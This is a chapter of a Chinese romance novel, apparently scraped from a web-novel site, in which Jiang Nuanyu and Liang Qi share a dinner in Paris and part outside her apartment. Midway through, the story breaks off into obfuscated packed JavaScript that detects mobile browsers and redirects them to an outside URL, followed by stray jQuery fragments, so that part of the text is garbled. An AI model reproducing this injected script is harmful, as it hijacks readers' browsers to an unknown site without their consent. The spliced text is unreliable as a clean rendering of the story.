画廊到餐厅不远不近，不到半小时的车程。
抵达时，餐厅还没到入客人流的高峰。靠窗倒有不少位置还空着，不过都已经被提前预定出去，两人最后在稍微靠中间的餐位落座。
虽说是姜暖瑜选的餐厅，但点菜这件事，她一向不太擅长，还是把它推给了梁齐。
不过，她推荐了一道鹅肝，说这家的香煎鹅肝是她吃过最好吃的。
梁齐点完菜，服务生给二人面前的酒杯里分别倒上酒。
餐厅整体偏暗，没有公共照明，光源只来自每张餐桌上的吊灯，将下面那方区域照得明亮。
周围幽暗，每张桌子都像一个飘浮在黑色长廊中孤立的小世界。
等待上菜的间隙，和最初在车里相比，气氛沉默了不少。尤其是姜暖瑜。
倒不是因为她对梁齐没话可讲，只是那种倾诉、表达的欲望，归根到底也属于冲动的一种。而冲动是属于瞬间的艺术，终归会被理性压制。
她其实很想问梁齐他怎么会来巴黎，可一想到朱利，又觉得，她好像也不是非得知道这问题的答案。
梁齐安静看着她，琢磨了一会儿她的表情，短暂垂了下眼神，说：“来巴黎有四个月了吧？”
姜暖瑜微怔。
四个月。
“四”这个数字，突兀地将她离开前一晚那些无理的醉话、那个明明白白发生了却迟迟没有对证的晚上重现。
而她不告而别的离开，也就这么被摆到了台面上。
她抬了抬眼皮，却没敢看进他的眼睛，轻应了声：“嗯。”
梁齐问：“过来以后，一直没回国吗？”
她摇头，回答得很快：“没有。”
连续两个有关京城的问题，她都没看着他回答，一副回避的姿态。
梁齐看她半晌，点点头，没再接着问。
服务生送上前菜，适时地将这份微妙的僵持打破。
两道前菜，一道是片得薄薄的扇贝肉，卷成了一个个小卷儿，上面淋着清新适口的柑橘酱汁；另一道，则是姜暖瑜推荐的香煎鹅肝。
姜暖瑜叉起一片扇贝肉，没立刻吃，眼珠揪揪地瞅了眼梁齐那边的鹅肝，瞅完又抬眼看向梁齐。
梁齐拿起餐具，抬眸对上她视线了，便将她眼中那一下的心思瞧得门儿清。
他用餐叉先取了一小块鹅肝，送入口中抿化了，咽下，主动道：“确实不错。”
姜暖瑜听他这样评价，眉眼弯弯地抿唇笑了。
安利收到认可，是一件会让人觉得满足的事。
她随后也吃了一块她的那份鹅肝，只觉得，怎么比上次来的时候还要好吃。
吃了会儿，姜暖瑜想喝口酒，润润口腔。她刚放下叉子，梁齐大概也是同样的想法，几乎在同一时刻也伸出手。
两人动作一顿，对视一眼后，各自举起酒杯，在空中轻轻地碰了下。
谁都没说话，但目光交错间，竟有一种无言的默契。
柔和的灯光打在纯白的细纹桌布，又投进彼此眼底，皆是黑白分明的眸子里，像是有荧荧流光在波动。
姜暖瑜抿一口酒，觉得这一刻美好得不真实。
第二轮上菜后，梁齐忽问：“你换号了吗？”
姜暖瑜从面前刚上的鸭胸和牛肉里抬起头，手上的动作停下，茫然地摇了摇头：“没有啊。”
到巴黎之后，她办了一张当地的电话卡。加上原本那张国内的，两张卡一部手机刚好够用，并没有弃用掉之前的号码。可梁齐这么问，倒让她心里闪过一个可能性几乎为零的念头。
但很快，梁齐便替她将这个念头打消了。
“没什么。”他看一眼她的表情，说，“就是确认一下，看那个号还能不能联系到你。”
“……噢。”姜暖瑜低低应了一声，说不上是失望还是开心，也许二者都有。
这几个月里，他没联系过她；
但他这样问，是不是意味着，他以后想联系她？
姜暖瑜兀自想着，蹙蹙眉——怎么他一句话，就要将她还算平静的心湖搅动了？
允许自己期待未来的事情，到时候要是期望落空，那种痛苦可没人能替得了。
可到底嘴巴没身体诚实，思想又比嘴巴爱说谎。
她这么劝慰着自己，却愈发想知道他会出现在巴黎的原因。默了一阵儿，纠结了几秒，她终是没忍住：“你……”
她才刚开口，梁齐便抬眼看向她。不知是不是这一眼的缘故，她只说了一个字，便再没了音儿。
梁齐也不追问，推测着她没问出口的问题，道：“我来出差。”
姜暖瑜抬眸，眨了眨眼，眸子里闪着略显期盼的光。
又听梁齐说：“云景在欧洲的几个项目，前段时间刚结束项目升级。我过来看看。”
姜暖瑜还望着他，半晌，才意识到他的话已经讲完了。
……就，没了？
“噢。”她点点头回应，之后又像是礼节性地“嗯”了一声，低头切分盘里的牛肉。
梁齐手上也在切肉，视线却落在对面姜暖瑜的盘子：那里头的牛肉被切下了一部分，较大的那块看起来暂时安全，不幸的是，那块小的似乎被针对了，正被冰冷的刀叉分割、再分割。
对于刚才他的回答，她不是“噢”就是“嗯”的，似乎不太满意，可那语气，又不像当真在消极敷衍。
他抬眸盯了她一瞬，收回视线后说：“那家画廊是朱利的。”
果然，姜暖瑜对他这句话明显有了兴趣，手上切肉的动作也缓了下来。
可梁齐却迟迟没再多说，只分着盘里的肉。
她抬起头，梁齐也撩起眼皮看她，把她的神情都收入眼里后，他放下刀叉，把那份刚分好的鸭胸移到她面前，又把她那块还没动的拿过来。
姜暖瑜受宠若惊，下意识想道谢，另一边又没法理所当然地接受这份好意；想说她自己来就可以，又怕显得自作多情。
慌乱中，她语无伦次，几个音节磕磕绊绊地卡在嘴边：“谢、我自——我……”
“还记得天奇和康蒂的合作吗？”梁齐开口，终结了她纷乱的思绪。
姜暖瑜一懵。
没等她回答，梁齐又接着道：“合作项目里的度假村，有关艺术中心的代理权限，部分在朱利名下。这部分代理和画廊是通用的。”
姜暖瑜听着，似懂非懂的，没讲话。
“今天展出的那几个画家，是朱利新签到的代理。作品先在画廊展出，后续会转到度假村里。”梁齐说，“这两天刚开展，我刚好在巴黎，就顺便去看看。”
姜暖瑜这下好像明白些了，梁齐似乎是在解释他为什么会出现在朱利的画廊。
可他为什么要向她解释这个？明明她还什么都没问出口。
她低头，看一眼面前的餐盘，一块块整齐排列着的鸭胸旁边，那块牛肉的一部分，已经被她在无意间拆解得支离破碎，实在有些惨不忍睹。
姜暖瑜：“……”
他是看到她用牛肉“泄愤”了？
就这么被抓包，她窘得脸皮都要掉了，舔了舔嘴唇，觉得有点儿干，伸手去拿酒杯，可手里的餐叉还没放下。
“咣——”一声，叉柄敲在玻璃杯上，发出悠扬徐徐的回音。
她赶紧看梁齐一眼，只见他刚从她手的方向收回视线。
许是他够体贴、够绅士、够礼貌，不想她觉得难堪，从而一言未发，表情也没有丝毫变化，一点看笑话的意思都没有。
可正因为他这样，她更尴尬了。
她：“……”
她放下餐叉，捏起酒杯仰头就喝。她咕咕咕连着喝了三大口，直到最后一口了，那酒才有机会在她嘴巴里多停留一会儿再被咽下。
酒气从喉咙弥漫开，充斥在鼻腔，扑得她眼睛都烧的慌。好在这款红酒度数不低，很浓烈，足够解释她脸上的那份热度。
酒精作用下，她血液在耳边突突的，但那股子不自在好似散了些。
她重新拿起那把叉子，叉起一块鸭胸放入口中。
梁齐这才又看她一眼，她认真而缓慢地咀嚼着，仿佛要尝出多么不一样的味道来。
她没对他后来的解释发表意见，但看样子，这回应该是满意了。
等她终于要把嘴里那块鸭胸咽下时，他问：“你今天是去看某个人的画？”
姜暖瑜果然放松了不少，听言抬起头，舔了下嘴角的酱汁，说：“也不是。上午去参加了一个品牌的联名活动，结束之后就在附近逛了逛，觉得画廊外面挺漂亮的，就进去看看。”
梁齐了然地点点头，半开玩笑道：“算加班吗？”
姜暖瑜抬起眉毛：“你说品牌的活动？”
他点头。
“不算吧。”姜暖瑜认真地思考了几秒，柔柔地笑了一下，“因为也可以不去。”
大概她是真的为这种相对自由的状态而感到满足，笑的时候，还不自觉地眯了下眼睛，像只顺了毛的小猫儿。梁齐瞧见她这抹笑容，也跟着弯了下唇角。
提起加班这茬，他忽然想到，她说这家餐厅在她公司附近，他问：“你工作的杂志叫什么？”
“《Chaleur》。”姜暖瑜答。
梁齐半眯了下眼，道：“主编是个光头？”
“是！”姜暖瑜眼睛一亮，惊讶道，“你认识他？”
“有过业务合作。”梁齐没有否认。
“哦……”姜暖瑜消化着这个信息，缓缓道，“这么说，《Florian》也不是你合作过的唯一一家杂志咯。”
这话没错。《Chaleur》背后的出版集团，的确和云景欧洲有着长期的友好合作。但说起《Florian》，梁齐倒是想到前段时间他那些个无谓的“福慧”行为。
她这句话没别的意思，但不知是不是有这一层心理作祟，梁齐听了，总觉得她语气里带着点别样的意味。
他无意在这个话题上多做延伸，却还是简单解释了一句：“不太一样。”
“噢。”姜暖瑜点点头，看他一眼后没再多问。她一向有分寸，虽然《Chaleur》和她有点关系，但只要不是全然相干的事情，她绝不刨根问底。
她低头继续吃饭，不知怎的，她今天的胃口似乎格外好，竟然把盘里的肉和菜全都吃光了。
就连那“块”破碎的牛肉，最后也被她拌着青酱，抹在梁齐后来特意点的面包上吃掉，终是“死得其所”。
一顿饭吃了蛮久，除了最开始梁齐试图提起她喝醉那晚的事情，让姜暖瑜别扭了一阵儿，后来的气氛，竟也算得上温馨融洽。
结账后，梁齐提前联系了司机。往餐厅门口走时，他注意着两人脚下的路，问：“你住哪儿？”
“16区。”
“挺好。”
姜暖瑜偏过头看他，不知他这句“挺好”好在哪。或者只是他随口的一句回应？她不知道。
她其实想反问他在巴黎会住哪里，犹豫后，终究没选择开口。
上车后，两人也有一阵儿没说话。
接近晚上十点，太阳终于落山。车窗外，灰蓝色的天幕像给城市罩上了一层篷布。天色灰暗，却不是那么漆黑一片。
车内，谁都没有刻意去填补沉默，任其在空气里流淌。
尽是如此，当汽车驶过她经常出入的那站地铁口时，姜暖瑜仍觉得时间过得太快了。
十分钟出头的车程，快得让人还没来得及多想，就要结束。
车即将停下前，她问：“你什么时候离开巴黎？”
“明天。”
好快。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549276|186533||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她揣着他或许暂时还会留在欧洲的希望，又问：“……是回国吗？”
梁齐答：“是。”
姜暖瑜的内心一瞬如狂风呼啸而过，那点飘渺的希望，就此被卷得支离破碎、片甲不留。
此时人还没分开，她仿佛已经要淹溺在那种倾盖的孤独里。
这一刻的感受，比她独自在巴黎这几个月里的任意一天、任意一秒都强烈。
她第一次害怕、抗拒一个人回家。这个国度、这座城市、那间公寓里，只有她一个人。
她不想一个人。
大概因为如此，车停下后，梁齐提出送她到楼下，她没拒绝他。
车在路边停着，司机留在车上，梁齐随她一起下了车，步行送她回去。
快到时，姜暖瑜伸手指了指那几扇属于她住处的窗户，道：“那间就是。”
梁齐顺着她指的方向看去，确认道：“二楼？”
“嗯，白色窗帘。”
梁齐点点头，视线在其中扫了一个来回。几扇落地窗皆是白色网格的窗框，其中有两扇窗帘开着，隐约可见靠近窗边的家具。是她在巴黎生活的痕迹。
姜暖瑜侧眸观察着他的表情，很期盼他问她些什么。
她住的公寓、她的窗子、她的窗帘，她工作的地方、身边有哪些人、会做什么事，她日常的通勤、饮食、生活，所有，问什么都好。
她好想把她在这座城市的所有都和他讲，好想通过这些交流，将“巴黎的姜暖瑜”和“梁齐”连接起来。
可他什么都没问，她也就什么都没说。
单元楼门口被树篱围着，圈出了一块空地，两人在楼前站定。
姜暖瑜低着头，几次欲言又止，却讲不出告别的话。最后，她索性完全不去想要说什么。
心中只有一个念头——时间好快，如果可以就此停止就好了。
梁齐见她沉默，也没急着说要走，安静陪她站了会儿。
天空灰蓝氤氲，路灯幽幽亮着，在头顶散发出暖黄的柔和的光。晚风拂过，吹过他的衣领，撩动她耳边的头发。
姜暖瑜耳后的一缕发丝被风带出来，横吹在她脸前，一会儿扫她的眼睫、一会儿拨弄她的嘴唇，她也不管。
梁齐看她一眼，朝她转过身，稍稍挡住吹向她的风。
她发丝落下，眼眸抬起。
视线对上后，似是安抚般，他冲她浅浅笑了一下。
她却在这一瞬红了眼睛。
梁齐说：“上去吧。早点休息。”
姜暖瑜嘴角撇了下，看着他，抿着嘴不讲话。
她不想听他说这些，她想听的不是这些。
他会陪她静静站在门口，会在说出告别前冲她微笑。她的不舍得，他明明都知道的，怎么能就这么离开？
可，她才是他们之间那个先离开的人啊。
是她亲手放弃了他爱她的可能，又怎么能再一次次理直气壮地向他索取，她能够靠近他的资格？
今天偶然的重逢，这个有他在她身边的、像是幻梦世界的晚上，就应该和过去许多个夜晚的梦一样，在经历美好后，会醒来的。
梦境是美好的，但也注定是虚幻和短暂的、会破碎的。
她怎么能贪恋呢，怎么敢贪恋？
爱、悔、痛，惭愧、歉疚、自责交织在一起，心在剧烈撕扯。
姜暖瑜疼到急促地漾出一口气，痛苦地揪起眉毛。
她想她可能是疯了，才会在清醒地明白这一切后，依然想留下他。
她不想他走。还是想要他。
不管在京城还是巴黎，是幻梦中或是清醒时，都一样。她还是想要他。
梁齐抬起手，顺着她后脑勺抚了一道下去，轻握住她后颈捏了捏。
他没说话，姜暖瑜知道，他是在等她。
他在等她先转身、先离开、先做决定。
他一直都是这样的人，好像永远尊重她，永远会给她选择的余地。
可正是这种温柔的余地，让她连想逃避都显得愈发懦弱，愈发可耻。
“梁齐。”她唤他一声。
没等到她下文，他回应她：“嗯。”
她深深地垂下脑袋，像一个向首领请求赦免的败将，一个向敌将屈服示弱的降兵，颤声说：“可不可以……你先走啊？”
梁齐安抚她后颈的手缓缓停了，看着她低下去的发顶，沉默几秒后，他说：“好。”
姜暖瑜紧紧绷起唇，将眼前浮起的泪意眨了又眨，点头又点头，才终于从嗓子眼里挤出一个尾音向上的“嗯”。
紧接着，她启开嘴唇，喘一口气，也对他说：“好。”
她像是单方面和他达成了某种仪式，这次的分开，不再是她一人为之，而是他与她共同做出的选择。
梁齐没再说别的，放下手后，良久，他后退一步，转身，朝他送她回来的方向离开。
在他的身影彻底消失在视野前，姜暖瑜猛地闭起眼睛。
这一刻，几乎天旋地转。
她紧紧攥着拳头，指甲死死硌着掌心的皮肤，伴着疼痛，勾缠住了最后的一丝理智，没有向他追去。
*
梁齐回到车里，让司机送他回住处。
手机上，几分钟前，彭泽发来改签后于明天回国的航班信息。彭泽还说，他即将按原计划起飞回国。
梁齐扫了一眼，熄了屏，靠在座椅上，试图闭目养神，半刻后，却烦躁地皱了下眉。
他睁开眼看一眼窗外，巴黎的街景正在加速后移，她住的街区已经远了。
时隔多日再见她，她好像还是以前的样子，很真，也较真儿。但细想想，却又有些不一样。她话多了些，但也封闭了些。她似乎比以前更懂得如何逃避。
她可以逃避，但是，逃避从来都没有用。